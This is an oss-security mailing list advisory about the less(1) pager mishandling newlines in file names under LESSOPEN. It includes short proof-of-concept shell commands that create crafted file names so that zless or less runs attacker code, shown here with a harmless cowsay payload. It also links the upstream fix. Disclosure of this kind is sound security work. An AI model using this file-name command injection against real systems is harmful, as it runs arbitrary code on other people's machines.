[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20240412122031.pt2sx6rasca3mgpu@jwilk.net>
Date: Fri, 12 Apr 2024 14:20:31 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: <oss-security@...ts.openwall.com>
Subject: less(1) with LESSOPEN mishandles \n in paths
less(1) does not correctly escape newlines in pathnames when
constructing command line of the input preprocessor. If a user ran
less(1) on files with untrusted names, this could result in execution of
arbitrary code.
The input preprocessor is enabled by the LESSOPEN environment variable.
But if you didn't set it, don't worry, because zless(1) (or xzless(1),
or zstdless(1)) sets it for you:
$ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')"
$ zless ./*
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
./
|sh (file 1 of 2) (END) - Next: ./\
On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the bug
can be exploited even without the wrapper:
$ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo
$ less ./*/*
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
./
|m/oo (file 1 of 2) (END) - Next: ./m/oo
Upstream fix:
https://github.com/gwsw/less/commit/007521ac3c95bc76
--
Jakub Wilk
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
